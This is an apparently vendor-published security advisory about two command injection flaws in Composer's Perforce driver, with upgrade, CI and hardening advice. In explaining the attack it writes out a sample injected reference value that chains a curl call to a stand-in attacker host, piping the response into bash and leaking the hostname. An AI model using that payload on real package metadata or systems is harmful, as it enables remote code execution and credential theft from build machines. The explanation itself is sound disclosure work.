Security 9 min read

Composer's Hidden Attack Surface: How Two Command Injection Flaws Put Every PHP Project at Risk

Two command injection vulnerabilities in Composer's Perforce driver (CVE-2026-40261 and CVE-2026-40176) can be exploited even if Perforce is not installed on your system. Malicious package metadata from any Composer repository can trigger arbitrary shell command execution. Update to Composer 2.9.6 immediately.

Matt King
Matt King
May 23, 2026
Last updated: May 23, 2026
Composer's Hidden Attack Surface: How Two Command Injection Flaws Put Every PHP Project at Risk

Here is the part that catches most developers off guard: you do not need Perforce installed anywhere on your system to be vulnerable to these two Composer vulnerabilities. If you are running Composer older than 2.9.6 (or 2.2.27 on the LTS branch), your build pipeline could be exposed to remote command injection simply by resolving a malicious package from an untrusted repository. That is the uncomfortable reality of CVE-2026-40261 and CVE-2026-40176, disclosed on April 14, 2026.

Both vulnerabilities live inside Composer's Perforce VCS driver, a component that most PHP developers have never thought about.


What Are These Vulnerabilities?

Two related but distinct command injection flaws were disclosed together, both rooted in the way Composer's Perforce driver constructs shell commands.

CVE-2026-40261 (CVSS 8.8)

This vulnerability lives in the syncCodeBase() method of Composer's Perforce VCS driver. When Composer tries to sync a Perforce-sourced codebase, it assembles a shell command using values that originate from package metadata. The method does not adequately sanitise those values before passing them to the shell, meaning an attacker-controlled string can break out of the intended command and inject arbitrary shell instructions.

CVE-2026-40176

The second vulnerability targets generateP4Command(), the method responsible for constructing the p4 CLI commands that the Perforce driver uses throughout its lifecycle. Again, metadata values flow into shell command construction without proper escaping.

The two functions work together in Composer's Perforce integration: generateP4Command() builds the base commands and syncCodeBase() calls out to synchronise files. Vulnerabilities in both creates multiple injection points across the same code path.


Why You Are Affected Even Without Perforce

You might be thinking: "I use Git. I have never touched Perforce in my life. Why would the Perforce driver run on my machine?"

The answer lies in how Composer processes package metadata. When Composer resolves a package, it reads the source field from the package's metadata before it evaluates whether that source type is actually available. A malicious Composer repository can publish a package with a Perforce source declaration:

{
  "source": {
    "type": "perforce",
    "url": "perforce.example.com:1666",
    "reference": "//depot/mypackage/..."
  }
}

When Composer pulls that package's metadata and begins its installation process, the Perforce driver initialises and starts building shell commands from those poisoned values. It does not matter that p4 (the Perforce CLI) is not installed. The command construction and the vulnerable string interpolation happen before Composer discovers that it cannot actually invoke p4.


How the Attack Works

Shell metacharacters are characters that have special meaning to a Unix shell: backticks, semicolons, pipes, $() subshells.

A malicious package's metadata might set the Perforce reference field to something like:

//depot/pkg/...; curl https://attacker.example/exfil?h=$(hostname) | bash

When generateP4Command() interpolates this value into a shell command string without escaping it, the resulting command becomes:

p4 sync //depot/pkg/...; curl https://attacker.example/exfil?h=$(hostname) | bash

The shell sees a valid compound command. It tries to run p4 sync (which may fail), then unconditionally executes the second part. The attacker receives the hostname and can exfiltrate environment variables including COMPOSER_AUTH tokens, cloud provider credentials, and anything else present in the environment.


How to Check Your Composer Version

composer --version

You need:

  • Composer version 2.9.6 or higher on the current branch
  • Composer version 2.2.27 or higher on the LTS branch

Upgrading Composer

composer self-update

To target the LTS channel specifically:

composer self-update --2.2

Updating in Docker and CI

If your pipelines pin a specific Composer version in a Dockerfile, update the version:

COPY --from=composer:2.9.6 /usr/bin/composer /usr/bin/composer

Check your CI configuration files too. GitHub Actions workflows that reference shivammathur/setup-php or similar actions often let you pin a Composer version.


Additional Hardening

Use --prefer-dist for package installation

composer install --prefer-dist

The --prefer-dist flag tells Composer to prefer downloading packaged zip archives over cloning from source. When a package is installed from a dist archive, the VCS driver (including the Perforce driver) is not invoked.

Lock down your repository configuration

Audit your repositories:

composer config --list --global | grep repositories

Remove any repositories you did not explicitly add. Restrict to https endpoints only.

Audit composer.lock for suspicious source entries

grep -A3 '"type": "perforce"' composer.lock

If you see Perforce source entries in a project that has no reason to use Perforce, that is worth investigating.


What Packagist Did

Packagist.org moved quickly in response to these disclosures. As a precautionary measure, Packagist disabled the publication of Perforce source metadata across its platform.

This significantly limits the blast radius for the majority of PHP developers who rely only on Packagist. However, it does not protect you if you use private mirrors, self-hosted Satis instances, or any third-party Composer repository. The upstream fix in Composer itself is the only complete resolution.


Protect Your Laravel Application

Vulnerabilities like these highlight a broader pattern: supply chain risks in your build tooling are just as real as vulnerabilities in your application dependencies. A compromised composer install during your CI build can exfiltrate secrets, backdoor deployed code, or pivot deeper into your infrastructure.

Run a free StackShield scan on your application to check for exposed configuration, misconfigured headers, and the kinds of issues that slip through when teams are focused on shipping.

Free security check

Is your Laravel app exposed right now?

34% of Laravel apps we scan have at least one critical issue. Most teams don't find out until something breaks. Our free scan checks your live application in under 60 seconds.

18% have debug mode on
72% missing security headers
12% have exposed .env
Scan My App Free No signup required. Results in 60 seconds.

Frequently Asked Questions

Do I need Perforce installed to be vulnerable?

No. That is the critical detail. The command injection happens when Composer processes package metadata that declares Perforce as a source type. The vulnerable string interpolation occurs before Composer discovers that the Perforce CLI is not installed. Any project resolving packages from an untrusted repository is potentially affected.

How do I check my Composer version?

Run "composer --version" in your terminal. You need Composer 2.9.6 or higher on the current branch, or 2.2.27 or higher on the LTS branch. Update with "composer self-update".

What did Packagist do about this?

Packagist.org disabled the publication of Perforce source metadata across its platform as a precautionary measure. However, this only protects users of Packagist. Private mirrors, self-hosted Satis instances, and third-party repositories are not covered by this change.

Related Security Terms

Stay Updated on Laravel Security

Get actionable security tips, vulnerability alerts, and best practices for Laravel apps.